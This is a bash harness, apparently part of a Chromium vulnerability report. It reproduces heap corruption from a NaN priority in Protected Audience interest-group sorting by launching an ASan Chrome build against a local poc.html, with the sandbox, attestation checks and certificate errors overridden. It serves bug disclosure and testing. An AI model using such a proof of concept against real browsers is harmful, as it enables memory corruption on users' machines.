#!/bin/bash
# Reproduces browser-process heap corruption via NaN priority in
# Protected Audience interest-group sorting (ApplySizeLimitAndSort).
#
# Usage: ./run.sh [/path/to/out/asan/chrome]
set -e

CHROME="${1:-/chromium/chromium/src/out/asan/chrome}"
DIR="$(cd "$(dirname "$0")" && pwd)"
PORT=8443
ORIGIN="https://localhost:${PORT}"
PROFILE="$(mktemp -d /tmp/nan-prio-profile.XXXXXX)"

cleanup() {
  [ -n "$SERVER_PID" ] && kill "$SERVER_PID" 2>/dev/null || true
}
trap cleanup EXIT

# Start the HTTPS server.
python3 "$DIR/server.py" "$PORT" >"$DIR/server.log" 2>&1 &
SERVER_PID=$!
sleep 2

# Pre-seed Privacy Sandbox consent. Real users who have consented to the
# Privacy Sandbox notice have these prefs set; this is the production
# audience for the Protected Audience API and not a security gate.
mkdir -p "$PROFILE/Default"
cat > "$PROFILE/Default/Preferences" <<'EOF'
{
  "privacy_sandbox": {
    "m1": {
      "consent_decision_made": true,
      "row_notice_acknowledged": true,
      "eea_notice_acknowledged": true,
      "fledge_enabled": true,
      "ad_measurement_enabled": true,
      "topics_enabled": true,
      "prompt_suppressed": 1
    }
  }
}
EOF

echo "[*] Profile: $PROFILE"
echo "[*] Launching $CHROME -> $ORIGIN/poc.html"

# --ignore-certificate-errors: accept the self-signed test cert.
# --privacy-sandbox-enrollment-overrides / EnforcePrivacySandboxAttestations:
#   substitute for the public site-enrollment registry. Real ad-tech
#   origins are attested; this only stands in for that out-of-band
#   registration and is not an in-browser security check.
# --disable-features=PrivacySandboxAdPrivacyUxDeprecation: tip-of-tree
#   has a deprecation flag that wipes the user's FLEDGE consent pref on
#   profile load. Current Stable does *not* have this on; we disable it
#   so the consented profile state is honored as it would be on Stable.
# Remaining feature flags simply force-on features that already ship
# enabled-by-default; --headless/--no-sandbox/--disable-gpu are
# environment-only.
ASAN_OPTIONS="${ASAN_OPTIONS:-detect_odr_violation=0}" \
"$CHROME" \
  --no-first-run --no-default-browser-check \
  --ignore-certificate-errors \
  --user-data-dir="$PROFILE" \
  --no-sandbox \
  --disable-gpu \
  --headless=new \
  --enable-logging=stderr --v=0 \
  --privacy-sandbox-enrollment-overrides="$ORIGIN" \
  --enable-features=InterestGroupStorage,AdInterestGroupAPI,Fledge,AllowURNsInIframes,PrivacySandboxAdsAPIsOverride \
  --disable-features=EnforcePrivacySandboxAttestations,FencedFrames,FledgeEnforceKAnonymity,PrivacySandboxAdPrivacyUxDeprecation \
  "$ORIGIN/poc.html" 2>&1 | tee "$DIR/chrome.log"
